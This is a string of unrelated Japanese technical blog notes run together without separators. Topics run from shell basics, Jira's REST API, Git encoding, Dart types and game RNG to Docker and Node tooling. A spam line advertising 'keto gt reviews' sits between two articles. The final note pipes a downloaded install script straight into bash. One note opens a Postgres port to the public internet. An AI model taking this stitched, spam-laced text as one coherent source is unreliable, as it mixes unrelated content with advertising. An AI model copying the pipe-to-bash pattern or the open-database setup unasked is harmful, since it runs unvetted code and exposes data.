    - シェルスクリプト

##シェルとは
核（カーネル）となる機能へのインターフェース部分。
ユーザー(ターミナル)から入力されたコマンドを解釈し、それをカーネル(OSの核)に伝え、カーネルから返ってきた結果をシェルが解釈し、それをユーザー側に出力する役目。

一言でまとめると[ **ユーザー**　と　**カーネル**　の　**仲介役** ]

2種類に大別すると、
CUIをベースとする「コマンドラインシェル」とGUIをベースとする「グラフィカルシェル」に分かれます。
ここでは主に、コマンドラインシェルを扱っていきます。

- コマンドラインシェル
    -  シェルによって、多少の操作性の違いや、「シェルスクリプト」を扱う際に違いが出る(基本的なコマンドの実行では、シェルの違いを意識することはほとんどない)
    -  大別すると、Bシェル系とCシェル系に分かれる(下記、シェルの種類を参照)

- グラフィカルシェル
     - 身近なグラフィカルシェルでは、MacのFinderや、windowsのExplorerが挙げられる



##主なシェルの種類(コマンドラインシェル)

####Bシェル系
- sh (Bourneシェル、Bシェル)
    - 最も古くから存在するシェル
    - Bシェル系の元祖
- bash (BourneAgainシェル)
    - より使いやすくしたshシェル
    - ほとんどのLinuxでの標準シェル
- ksh (Kornシェル)
    - cシェル由来の機能を持っている
    - Bourneシェルの完全上位互換
- zsh (Zシェル)
    - bash,ksh,tcshの非常に有用な機能+独自機能の多機能シェル
    - MacOS Catalina からMacOSの標準シェル(2021-09-03:現在)
    - BシェルとCシェルの真ん中的な立ち位置

####Cシェル系

- csh (Cシェル)
    - C言語と同じような文法で記述できるのが特徴
    - Cシェル系の元祖
- tcsh (TCシェル)
    - cシェルと完全な互換性を持つ
    - cシェルよりも機能が豊富


##シェルの確認方法

ターミナル上で、コマンド「ps」を実行すると、お使いのPCのシェルが確認できます。
![スクリーンショット 2021-09-03 3.55.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1870509/7d16564a-e9d9-47e6-c14b-0bcc045b8e15.png)

##シェル(ターミナル)でできること

###・コマンド操作
ターミナル上でコマンドを実行し、PCを操作できます。

基礎コマンドは下記サイト(侍エンジニアさん)で確認できます。

https://www.sejuku.net/blog/5465

<br>

エンジニアには必須とも言われる**git**もターミナルからコマンド操作で利用します。

![git_github.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1870509/199412aa-8695-9d00-3cc6-9db0ef1e3c42.png)

#####gitとは

バージョン管理システムのひとつ。
現状バージョン管理システムで最もポピュラー。

他のバージョン管理システムでは、「Subversion」や「Mercurial」などが挙げられる。

:::note info
[補足]
バージョン管理システム(Version Control System : VCS）とは
データはもちろん「いつ、誰が、何処を、編集したのか」と履歴を保存できるシステム
過去のある時点の状態を復元したり、変更内容の差分を確認できるようにするシステム
:::

<br>

#####gitを使用するメリット
- 最新のファイルが一目瞭然
- 「いつ、誰が、何処を」編集したのかが分かる
- 以前の状態(バージョン)に復元可能
- 上書きやバッティングすることなく複数人で同ファイルを編集できる
- 分散型バージョン管理を採用しているため、運用リスクが低い

<br>

詳しい仕組みや使い方は以下のサイトで確認できます。

https://tracpath.com/bootcamp/learning_git_firststep.html

<br>



###・シェルスクリプトの実行
シェルスクリプトを使用して、処理の効率化が行えます。

古い記事ですが、基礎を学ぶには以下のサイトが分かりやすくいいと思いました。

https://qiita.com/zayarwinttun/items/0dae4cb66d8f4bd2a337
REST APIを使ってJira課題を操作する

## はじめに

Jiraの課題をちまちまと作成していくのが面倒なので，CSVやExcelなどからの自動インポートを試していた．
[初めてのJira 〜その２：CSVを用いてIssue作成を自動化しよう〜](https://qiita.com/AIM-Z/items/025a009b757422e8d859)
調べていくなかでJira REST APIを使っても課題の作成ができるということを知り，試してみたが，いくつかのエラーに直面し苦戦したので一連の内容をまとめようと思う．

## この記事を読んでできるようになること

- REST APIを使ってJira課題を操作できるようになる



## 環境
chrome拡張機能の「Talend API Tester」を用いてリクエストを送信
Macとかでcurlコマンドを使ってリクエストするときも，リクエストヘッダをこの記事に合わせて適切に設定すれば同じように使える（と思う．）

## 手順
### Talend API Testerをインポート
[Talend API Tester - Free Edition](https://chrome.google.com/webstore/detail/talend-api-tester-free-ed/aejoelaoggembcahagimdiliamlcdmfm?hl=ja)

インポート出来たらchromeの右上のパズルピースアイコンからTalend API Testerを立ち上げて，適当にリポジトリを作成し，その中に新規リクエストを作成する．

### 課題作成のリクエスト

全体はこんな感じ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/712635/37ec7364-2d94-59fd-8fc5-fd5c4948f0fc.png)

#### URL

1. メソッドは「POST」（取得，更新，削除など，別のことをやりたい場合は適宜変更）
1. 自身のAtlassianのドメインを入れる

#### リクエストヘッダ

##### Authorization
Atlassianの以下のページからAPI Tokenを作成．
[Atlassian API Tokenの作成](https://id.atlassian.com/manage-profile/security/api-tokens)
{mail}:{token}の形でbase64にエンコーディングした値を添付
[BASIC認証の越え方](https://qiita.com/HeRo/items/22751e828791be173529)

##### X-Attlasian-Token,User-Agent

ここを適切に設定しないと認証がうまくいかなかったり，XSRF（Cross Site Request Forgery）に関するセキュリティ回りでエラーになる．

以下の記事を参考にし，解決した．
結果だけで十分なら，上のスクショの通り値を入れればOK
[Bypassing XSRF token check](https://stackoverflow.com/questions/38355420/bypassing-xsrf-token-check)
[XSRF check failed when calling Cloud APIs](https://ja.confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html)

##### Contet-Type,Accept
スクショの通りでOK

#### BODY
以下の公式ドキュメントを参考にBodyを作成
[Atlassian Developer REST APIs](https://developer.atlassian.com/server/jira/platform/rest-apis/)


ここまでできれば「Send」
うまくいけばこれで課題が作成される．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/712635/88cd9e99-f283-ba0f-cad7-7297fecd2911.png)

## 終わりに
うまく使えばJiraの課題作成の自動化，効率化に役立てられそうですね．

ここまで読んでいただきありがとうございました。
この記事が何かのお役に立てれば幸いです。
keto gt reviews



![0_9ZofzvR9ABUvX-qe.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1977623/b2e00eb9-991c-170b-9f95-0223435dded6.png)
 Visit at more: - https://www.laweekly.com/keto-gt-reviews/
GitでSJISを使う

# 文字化け要素

## コミットメッセージ
UTF-8固定と思われる
→格納：変更できない？（変更しないべき？）
 表示：localeに合わせて変換してくれない

## Git-bash(MINGW64)
locale(デフォルト)
LANG=ja_JP.UTF-8
LC_CTYPE="ja_JP.UTF-8"
LC_NUMERIC="ja_JP.UTF-8"
LC_TIME="ja_JP.UTF-8"
LC_COLLATE="ja_JP.UTF-8"
LC_MONETARY="ja_JP.UTF-8"
LC_MESSAGES="ja_JP.UTF-8"
LC_ALL=
→.profile等で変更は可能

## ターミナル
Options→TEXT→「locale,character set」
→変更可

## ファイル名の表示（ls）
localeとターミナルの設定を合わせればUTF-8でもSJISでも問題無く表示される。

## ファイルの内容
個別に違う
→.gitattributesで文字コードの設定は可能。
 *.txt diff=sjis
 ただし、それだけでは変換してくれない。
 configにdiff用の変換指定（※）が必要
 git config diff.sjis.textconv "iconv -f sjis"
 ※docx,xlsxをテキスト変換して比較する時とかも使える

## pager
lessはSJISを扱えない為、SJISで処理したい場合はpagerの指定をブランクにする
git config core.pager ''

## quotepathをoffにする（不要かも）
git config core.quotepath false
# Dartの型定義について

# 基本的な型定義の仕方

```dart
void main() {
  int age = 5;  // 整数
  double weight = 3.7;  // 小数
  String name = "Pochi";  // 文字列
  String breed = 'Shiba';  // 文字列
  bool isMale = true;  // もしくはfalse
```

変数定義時にこんな感じで、「型宣言 変数名 = 値」の形式を取る
文末のセミコロンは必須

# 型推論

```dart
// varは最初の代入時に型推論
  var a = 123;
  a = 456;
//   a = "Hello";  // エラー: 型の変更はできない
```

型宣言なしでvarと書くと型を勝手に推測してくれる。
推測後の型に一致しない値は代入できない。

# dynamic型

```dart
// dynamicは何型であってもよい
  dynamic b = 123;
  b = 456;
  b = "Hello";
```

ワイルドカード的になんでも受け付けるの型
typescriptでいうany。

# 定数

```dart
// finalは値の変更を不可に
	final c = 123;
//   c = 456;  // エラー: 値の変更はできない
//   c = "Hello";  // エラー: 値の変更はできない

// constも値の変更を不可に（　コンパイル時に確定）
	const d = 123;
//   d = 456;  // エラー: 値の変更はできない
//   d = "Hello";  // エラー: 値の変更はできない
}
```

値の再代入が不可能な変数

# 配列

```dart
print("----- 空のリスト -----"); 
  var list1 = <int>[];
  list1.add(123);
  list1.add(456);
  list1.add(789);
  list1[1] = 999;
  print(list1);
```

配列の場合、typescript同様要素の型を指定する。
一致しない型の要素は入れられない

```dart
// 他のリストの書き方
  var list2 = List<int>();
  List<int> list3 = [];
```

List型で定義しつつ要素の方を指定するやり方もある


```dart
void main() {
  var numbers = [21, 5, 0, 10, 15, 8, 3, 12, 1, 2, 31, 9];
  
  // 以下にコードを記述する
  for (int number in numbers) {
    if (number < 10) {
      print(number);
    }
  }

}
```

配列のイテレータもちゃんと型定義する

# Set

```dart
print("----- 空のセット -----"); 
  Set set2 = {};
  set2.add("Tama");
  print(set2);
```

Setも一つの型として扱う。要素の重複を許さないという点はJavascriptと同じ

# map

```dart
print("----- Map -----"); 
  var map1 = {"Pochi":5,
              "Taro":4,
              "Jiro":12,
              "Shiro":3};
```

mapはハッシュみたいなkey valueのオブジェクト

```dart
  print("----- 空のMap -----"); 
  var map2 = {};
  map2["Tama"] = 9;
  print(map2);
```

特に型宣言しなくてもmapは定義可
Slay the Spireで学ぶ疑似乱数入門

# あいさつ

SlayTheSpireプレイヤーのみんなごきげんよう。
今日はA20の挑戦に疲れ果てたみんなのために、ちょっとだけ為になる知識を教えようと思う。

ここでは以下の内容を、プログラミングに馴染のない人でもわかるように、ざっくりと説明していくつもりだ。

- 疑似乱数とは何か
- SlayTheSpireの乱数の仕組み

その代わり、一部正確さ厳密さに欠ける部分はどうしても出てきてしまう。
正確な知識が必要な場合は、本記事の内容を足掛かりとして各自調べていただきたい。

# はじめに
こんなことはないだろうか。

A20で強いデッキが出来上がった。これは勝利間違いなしだ。Act3で道すがら出会ったのはレプトマンサー。このデッキなら間違いなく勝てる。

しかし1ターン目にアタックカードが来ない。2ターン目もだ！
君はなすすべもなく敗北する。

「悪かったのは運だ、プレイングはまったく悪くない、やり直そう」と、ゲームを中断して戦闘開始前からやり直す。しかし手元に来るカードはまったく一緒だ。何故だろう？

ランダムなはずなのになんで毎回同じカードが手札に来るの？ママは僕のこと愛してくれていないの？あの男の人は誰だったの？

# ゲームにおける疑似乱数活用の基礎

例え話から入ろう。

ここに3つのトランプの山、X, Y, Zがある。
便宜上トランプの各カードには1～53の番号が振ってあるものとする。

トランプの山をそれぞれ上から3枚めくると

```
  X: 23, 7, 6
  Y: 18, 35, 26
  Z: 12, 14, 7
```

となっている。

その隣に9つの生物が3匹ずつ3列に鎮座している。

```
  1列目: ガーディアン、スライムボス、ヘクサゴースト。
  2列目: ブロンズオートマトン、チャンプ、コレクター。
  3列目: 目覚めしもの、デカ&ドヌー、タイムイーター。
```

(10匹いる？生物じゃないのが混じってる？細かいことは気にしてはいけない)

それぞれの列から遭遇する相手を、次の手順で選ぶこととする。

```
1. トランプの山を選ぶ
2. トランプを1枚めくる
3. 出た数字を3で割り、余りが0なら1列目の1番目、1なら1列目の2番目、2なら1列目の3番目の生物と遭遇する。
4. 2～3を、2列目と3列目に対しても同様に繰り返す。
```

すると

```
トランプの山Xを選ぶと、ヘクサゴースト、チャンプ、目覚めしもの
トランプの山Yを選ぶと、ガーディアン、コレクター、タイムイーター
トランプの山Zを選ぶと、ガーディアン、コレクター、デカ&ドヌー
```

に遭遇することとなる。

これがSlay the Spire、もっというと一般的なゲームにおけるランダム要素を作り出すための仕組みだ。
ランダム要素を含むゲームであれば、どのようなゲームにもこのトランプの山に該当するものが存在する。

このトランプの山を「乱数生成器」。
どのトランプの山を選ぶか決めるための元となる数値や文字列を「シード値」と呼ぶ。

それでは最初の問いに戻ろう。
「ランダムなはずのになんで毎回同じカードが手札に来るの？」

答えはこうだ。
「シード値が同じなので、同じトランプの山が使用されたから」

:::note info
Slay the Spireではシード値は「プレイ記録」の「侵攻履歴」から確認することができるぞ
:::


なお、ここでは例え話としてトランプの山を使ったが、実際の乱数生成器とトランプの山とでは違う点が多々ある。
すべてを説明することはしないが、ざっくりと以下のことを覚えておくと、ゲーム内の色々な物事の裏側が想像しやすいだろう。

- トランプの山は同じ数字は1回しか出ないが、乱数生成器は同じ数字が何度も出る
- トランプの山は53回めくれば尽きてしまうが、乱数生成器はいくらめくっても尽きない
- トランプの山は1～53の数字が出てくるが、乱数生成器は0.0～1.0の間の小数が出てくる

# Slay the Spireにおける疑似乱数活用の実際

ここまでの話を聞いた読者諸氏はこう思ったはずだ。
「なるほど、シード値はトランプの山札を決めるためのものなのか」
「ゲーム内の出来事は山札をめくって出た数値で決まるんだね」
「とすると、レリック運が悪かったとき、前の戦闘をやり直して1回多く乱数を消費すれば、獲得するレリックを操作することができるってこと？」

答えはNoである。
なぜか？

Slay the Spireにおいて山札、つまり乱数生成器は1つではないのである。

:::note info
以降、「トランプの山札をめくる」ことを「乱数を消費」すると表現する
:::

まずは次の表を見ていただきたい。
これらは実際にSlay the Spireで使われている乱数生成器の一覧である。合計13個ある。

|乱数生成器名|種別|用途|
|:----------|:---|:--|
|mapRng|ラン内共通|マップの生成|
|monsterRng|ラン内共通|遭遇する敵|
|eventRng|ラン内共通|ランダムイベントの内容|
|merchantRng|ラン内共通|商人|
|cardRng|ラン内共通|カードドロップ|
|treasureRng|ラン内共通|宝箱|
|relicRng|ラン内共通|レリック|
|potionRng|ラン内共通|ポーションドロップ|
|monsterHpRng|フロアごと|敵のHP|
|aiRng|フロアごと|敵の行動|
|shuffleRng|フロアごと|デッキシャッフル|
|cardRandomRng|フロアごと|ランダムなカード効果|
|miscRng|フロアごと|その他|

このように乱数生成器が分かれているため、1回の戦闘を長引かせて、どれだけshuffleRngの乱数を消費しようが、relicRngの乱数は消費されないため、取得レリックを操作することはできないのである。

また、種別が「フロアごと」となっている乱数生成器は新しいフロアに入るたびに生成しなおされる。
そのため、フロア2での戦闘を都合の良い展開にするため、フロア1で1回多くデッキシャッフルしてみる、などといった努力はまったくの無駄なので覚えておこう。

# まとめ

いかがだっただろうか。
この知識は中断/再開を使用しない、通常のフェアなゲームプレイにおいては基本的には役に立たない。
しかしデイリークライムや難シード値に挑む場合は、覚えておくと無駄な努力を省けることもあるかもしれない。

良いSlay the Spireライフを。
AWS Lamdaの構築

#はじめに

SAA-C02取得時にUdemyのコースで色々とハンズオンしたのですが復習となり、構成図はそのコースより引用します。

https://www.udemy.com/course/aws-associate/

![lamda.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1949705/fd1ca68a-c3b0-a2d1-1e24-e502b2e5dbaa.png)

#作業環境

```
API Gateway
Lamda
DynamoDB
```

#作業結果
![lamda3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1949705/0e4aa662-7b17-4595-7c8f-50866c7f26a0.png)

DynamoDBにあるサンプルデータを取得するメソッドテストを実行し、取得できることを確認


![lamda2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1949705/643182ef-9290-c3bb-3dd5-1a9bbcc27dc4.png)

ブラウザでAPI エンドポイントのURLに「?＋DynamoDBテーブルにあるサンプルデータのID」を
追加して叩き、取得できることを確認

#作業工程　
・DynamoDBテーブルおよびサンプルデータの作成
・Lamda 関数の作成
　-DynamoDBのIDを指定し、該当するitemを取得するコード
　-トリガーの追加　API Gateway　GETメソッドの作成
※有料コースのため詳細は省略します。
画面サイズで表示するテキストを変えたい

現在アプリ作成をしていて苦戦したことがあったのでメモ程度に書きます。

<h1>気になったこと</h1>

bootstrapを使っている人ならわかると思うのですが、headerを作る時にnavbarを使うと画面サイズに応じてハンバーガーメニューが表示されます。

これが....
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1541345/8b279b52-f50a-77e2-f9a9-a6afa88375a2.png)

こうなる感じです
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1541345/87f9f5c5-1e11-b3d1-8a47-196109f86474.png)

サイズ的にはスマホユーザーにはハンバーガーメニューが表示されるようになります。
ここで気になったのが、メニュー開くの面倒じゃないかなーと。

僕が適当に作ったページなんですが、これを見てもらうとわかる通りスマホユーザーはメニューを2回開かないとマイページやらログアウトやらができないのです。
pcで使っている人は1回で済むのすが、、
これに煩わしさを感じる人もいるかもしれません。
なるべく使いやすいようにしたいですよね。
![スクリーンショット 2021-09-04 17.57.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1541345/811b1215-a19b-c5ce-420b-8c824bcff57e.png)

<h1>どんなデザインにするか</h1>
スマホの画面サイズのみfooterに配置するのが妥当かなと思うのでやってみます。
（ショートカットみたいな感じで）
・Home (トップへのリンク)
・New (新規投稿)
・Posts (投稿一覧)
・Mypage (マイページ)
こん4つあればとりあえず大丈夫かなと思います。

<h1>bootstrapでどうやって設定するか調べる</h1>
”欲しい機能としては特定の画面サイズ以下になったらショートカットを表示する”です。
bootstrapなら都合よくあるかなと思って調べまくりました。

そしたらありました！
以下のコードのようにクラスにhidden-smと渡せばいいとのことです。
hidden-smは画面サイズがsm以下になったら要素を消すみたいです。
要素を消すものもあれば表示するものもあります。
それがvisibleです
この二つでうまくいきそうですね！

```
*sm以下で要素を消す
<div class="hidden-sm">...</div>

*sm以上で要素を表示する
<div class="visible-sm">...</div>
```

<h2>試してみました</h2>
はい、動きませんでした。笑
コードが間違ってたのかなーと思いましたがそんなことはなく。
bootstrapのバージョン如何で書き方が変わるようです。

```
class=”hidden-sm”　→　class=”d-none d-sm-block”

class=”visible-sm”　→　class=”d-block d-sm-none”
```
こんな感じですね。

d-none → 全て非表示
d-block → 全て表示

d-(画面サイズ)-none → 指定した画面サイズになったら非表示
d-(画面サイズ)-block → 指定した画面サイズになったら表示

となります

これで上のコードがどうなるかというと、、
　class=”d-none d-sm-block”
＊普段は非表示にするけど、画面サイズがsm以上なら表示するよ＊

class=”d-block d-sm-none”
＊普段は表示してるけど、画面サイズがsm以上になったら非表示にするよ＊

みたいになるようです！

これでスマホで見た場合にはショートカットが表示され、スマホ以外のデバイスなら表示されなくなりました！
育児休業給付金の金額と振り込みタイミング

育児休業給付金(以後、育休手当)の金額と振り込みタイミングの忘備録です。誰かの参考になれば幸いです。

### 前提
- 2020年4月子供氏爆誕
- 2020/11/19 - 2021/04/01 約4ヶ月半育休取得
- 育休開始前半年分給料合計（6-10月分給料合計）: 2607961円
- お給料日毎月25日
- 関東ITソフトウェア健康保険組合（以後、IT健保）の会社


### 給付金タイミング
- 2020/05/29: 90000(IT健保) 
- 2020/06/05: 30000(弊社独自のお祝い金) 
- 2020/06/12: 15000(児童手当) 
- 2020/08/03: 300000(コロナの特別給付金、カビゴン小野、妻氏、子供氏の３人分) 
- 2020/10/14: 60000(児童手当) 
- 2021/02/05: 513594(育休手当) 
- 2021/02/12: 60000(児童手当) 
- 2021/04/16: 513594(育休手当) 
- 2021/05/20: 136958(育休手当)


### ふりかえり
- 育休に入ってから育休手当が振り込まれるまで4ヶ月近くかかりました。現金で貯金せず株を買ったりしている人は気をつけてください。
- 育休手当は非課税なのでふるさと納税額はちゃんと確認した方が良いです。払いすぎました。
- 月末に生まれそうならすぐに児童手当の申請できるように準備をしておいた方がいいです。1万5千円変わってきます。
- 子供が生まれると１日有給もらえますが、気づいたら無くなっていたので忘れず使うこと。（弊社の場合）

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">そろそろ育休手当振り込まれてくれないとヤバい <a href="https://t.co/6PHGfvz3L5">pic.twitter.com/6PHGfvz3L5</a></p>&mdash; かびごん小野 (@takoikatakotako) <a href="https://twitter.com/takoikatakotako/status/1379009574817030146?ref_src=twsrc%5Etfw">April 5, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
アニメーションWebPの作り方

# アニメーションWebP
　先日調べたWebPにアニメーションを持たせることが出来るとわかったので試しに作ってみた。作る方法は限られているがGIFアニメより制約がな無い分使う機会は多いと感じた。以下にテストで作った手順をまとめる。

　テストで使う動画は以前作った動画を使う。尺も短く8秒だからテスト素材には丁度よい尺の動画。この動画をアニメーションwebpに変換してみる。  
<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="360" src="https://www.youtube.com/embed/3X9TW9eh9WE" title="YouTube video player" width="640"></iframe>
## 手順
手順はとてもシンプル

**アニメーション連番PNGを用意。
アプリ「アニメ画像に変換する君」で変換。**

　まず連番PNG用意。今回はテストなので小さめにBlenderから直接960 x 430pxフレームレートは24fpsで書き出す。


　次にMS Storeから「[アニメ画像に変換する君](https://www.microsoft.com/ja-jp/p/%E3%82%A2%E3%83%8B%E3%83%A1%E7%94%BB%E5%83%8F%E3%81%AB%E5%A4%89%E6%8F%9B%E3%81%99%E3%82%8B%E5%90%9B/9n36kvc52st9#activetab=pivot:overviewtab)」というアプリをインストール。名前はふざけているが使いやすく優秀なソフト。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686943/757bbed4-e22c-d189-5c00-d237dceea74e.png)

　アプリを開いて先程書き出したPNGをインポート。フレームレートを設定して「LINEアニメーションスタンプ」か「webページ用アニメーション」か用途を選択。

　今回はブログに貼ってみるので「webページ用」にした。あとは「アニメ画像を保存する」のボタンを押すだけ。テストも兼ねて「容量最適化」にチェックを入れた。
![スクリーンショット 2021-09-02 123246.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686943/64fcbc1f-c91c-3ad3-a415-f59e7808c12b.png)

　変換にはそれなりに時間がかかる。しばらく待っていると以下のような3ファイルが出力される。PNGはアニメーションが付いている状態で出力される。
　htmlを開くと同梱の.webpファイルが読み込まれてブラウザ上でアニメーションが再生される。
![スクリーンショット 2021-09-02 124053.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686943/b2f9930e-acea-9358-eeb4-ce1e3e3a4d28.png)
## テスト成功
　以下に貼ったのはアニメーションが付いたPNGファイルをアップしたもの。EdgeやChoromeなどChromiumベースのブラウザでも問題なく再生できた、テスト成功。容量最適化にチェックを入れたがGIFよりはるかにキレイ。PNGの連番さえ用意できればカンタンに作れますね。
![monster_ball_webp.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/686943/e3303b33-c7cd-e138-4716-3cd47506271e.gif)
Automuteusの戦績DBを直接覗きたかった

Automuteusを立てている方、statsのコマンドだけだと物足りなくないですか？
私は物足りないです、ですのでDBを直接覗きたかったのですがGCP+Dockerド素人なので大分苦戦してしまいました。
なかなか時間をかけてしまったので備忘録・情報共有です。

セルフホストの方法については以下の記事とリンク先をもとにGCP f1-microで建てています。

https://nosu.hatenadiary.jp/entry/2021/03/09/223301


これが立っている前提でやること

1. docker-compose configでpostgresのID、パスワード、portを確認
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440324/728454e8-4eab-665c-75b6-d3e229e51d83.png)

1. docker-compose.ymlのpostgres:に ports:を足してホストのportにpostgresインスタンスのportを紐づける。volumesの位置を確認しておく
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440324/21dc2160-fa20-9436-a0ac-344987d1270c.png)

1. GCEのネットワークセキュリティにホスト側該当ポートを足す
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/440324/d23462b2-44fb-cc4d-0cb0-e78ec69d8ba4.png)

1. docker-compose down / docker-compose -d を実行 (restartではいかない。何か他にもっと賢いコマンドがあるかも）

これでグローバルIPから接続できます。
クエリはBot内臓のは下記を参照。ナイスクエリができたら記事に追加していくかもしれません。
作った方いたらコメント大歓迎

https://github.com/denverquane/automuteus/blob/7887a1b2b30d20e0a64fec69c48d04cff768066b/storage/statsQueries.go
Hantek 6022BE　オフセット

#オフセットとは
オフセット電圧とは、アナログ信号処理に用いられるオペアンプの+入力端子と-入力端子間の電圧差が0Vの時に出力されてしまう電圧のことである。

理想的には入力が0Vのときには出力も0Vになればよいが、+入力と-入力に差が生じてしまうため、出力電圧が発生してしまう。このため、オフセット電圧零調整を行う場合があります。


#オフセットの準備
1.オシロスコーププローブをプローブとGNDを繋ぎます。
![プレゼンテーション1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/7cd630e3-95a8-e4b5-0f99-0bdca968f918.jpeg)
2.アプリケーションを立ち上げて
![スクリーンショット 2021-09-04 151438.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/1e1cb3a0-1b4a-32ef-0f8a-1fd9015b4132.jpeg)

3.画面の上部の__AUTO__を選択します。
![スクリーンショット 2021-09-04 150946.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/4119bb49-db9a-2e03-07ca-074832882399.jpeg)

![スクリーンショット 2021-09-04 163547.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/62d86e5c-9b9d-369c-4c33-9df25c56c606.jpeg)


4.波形が現れます
![スクリーンショット 2021-09-04 175343.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/5b0833b1-72c4-f4f1-7a95-cd3b15a71105.jpeg)

5.波形の形が以下の形ではない時は
![ーション1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/3dfe11cb-e0d5-c942-1e17-4f5d4881bb80.jpeg)

6.プローブのネジを回して調整して完了です。
![IMG_4782.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/932e0af7-bca4-3524-5356-60d59b7251d5.jpeg)



#オフセット手順動画
下の画像を選択すると動画が再生されます。
YouTubeに飛びます。

https://youtu.be/TcMPt2WfPVo

[![オフセット.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675881/e20a5b82-2baf-5452-7cb3-a18c84edcb97.jpeg)
](https://youtu.be/TcMPt2WfPVo)
[AWS] Amazon EC2

EC2の略は、「Elastic Compute Cloud」です。
Elasticとは、翻訳すると「弾力」です。
クラウドサービスの特徴の1つに「必要な時に必要な分だけ使用したりできる」があります。
この特徴から「Elastic」がついています。

インターネット（クラウド）を通じて「必要な分だけサーバを借りることができる」サービスです。
[シリーズ] 図によるメモ ... npm, n, Node.js, nvm, yarn の立ち位置


# 概要

2021/09 時点では、ごく稀 (年間にして 5人日ほど) にしか JavaScript や Node.js を使わないため、
これらを使用するときには毎回 yarn や npm、nvm、n のメモを毎回読み返しているので、書き出しておく.

|コンテンツ|掲載時期|
|:--|:--|
|[メモ ... Node.js バージョン管理 (n, npm)](https://qiita.com/robozushi10/items/f8e1e2cae94f87b98acc)|2021/09|
|[メモ ... Yarn の立ち位置 (対 npm, n, Node.js, nvm)](https://qiita.com/robozushi10/items/fabbd40e560557c7394e)|2021/09|
docker 環境構築（mac）

最近PCを入れ替えたので備忘を兼ねてメモ

# やりたいこと
docker, docker-compose を使えるようにする

# 環境情報

```
% sw_vers

ProductName:	Mac OS X
ProductVersion:	10.15.7
BuildVersion:	19H1323
```

# やったこと
1. Docker for Desktop for mac のインストール


## 1. Docker Desktop for mac のインストール
公式サイトからダウンロード
https://hub.docker.com/editions/community/docker-ce-desktop-mac/

ダウンロードしてきたイメージをインストール
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1974822/9f7490aa-cc1e-de48-3d98-c87022be79de.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1974822/eb5c9cc8-5681-ff5b-e431-b33c6c7471de.png)

```
% docker -v

Docker version 20.10.8, build 3967b7d
```
インストールできました

続いて、 docker-compose も入れなくては、、、と思っていたが、
>Docker Desktop for Mac には他の Docker アプリとともに Compose が含まれています。 したがって Mac ユーザーは Compose を個別にインストールする必要はありません。 インストール手順については Docker Desktop on Mac のインストール を参照してください。
https://matsuand.github.io/docs.docker.jp.onthefly/compose/install/

とのことで、 `Docker for Desktop for mac`と一緒にインストールされているみたい
一応確認しておく

```
% docker-compose -v

docker-compose version 1.29.2, build 5becea4c
```
入ってた😲


# 最後に
mac で docker 環境作りたかったら、
Docker for Desktop for mac　をインストールするだけでOK
メモ ... Yarn の立ち位置 (対 npm, n, Node.js, nvm)


|本シリーズのトップページ|
|:--|
|https://qiita.com/robozushi10/items/1b499030d5462fe7e791|

# 概要

Yarn インストールまでの経路(手順).
なぜ、n と npm の 2つに分かれているのかは知らないし[^1]、Yarn の良さも不明だが、遭遇した場合に備えておく.[^2]


## 図

| npm 使用時 | **<font color="purple">nvm</font>** 使用時 |
|:--|:--|
|![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1246056/9ab1b5f7-bc4c-ca95-83e7-db38e3a254f1.png)|![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1246056/edec20d8-a02b-61f5-18bf-8a0ded5a505b.png)|


## 補足

### 上左図「n使用時」について

```bash
#! (1) まず Node.js と npm をインストールする
$ apt install nodejs npm

#! (2) n を使って Node.js をインストールする
$ n stable

#! (3) node -v でバージョンが表示されれば OK
$ node -v
v14.17.6

#! (4) ここで上記 (1) で導入済みの古い版の Node.js をアンインストールしても良い.
#! 恐らく (2) で Node.js をインストールしたタイミングで npm もインストールされているので、
#! 旧版である (1) の Node.js と npm を削除しても問題無い.
$ sudo apt purge -y nodejs npm

```

### 上右図「nvm使用時」について

```bash
#! (1) nvm をインストールする
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash

#! (2) nvm を使って、Node.js をインストールする (npm も同時にインストールされる)
$ nvm install --lts

#! (3) npm を使って yarn をインストールする
$ npm install -g yarn
```

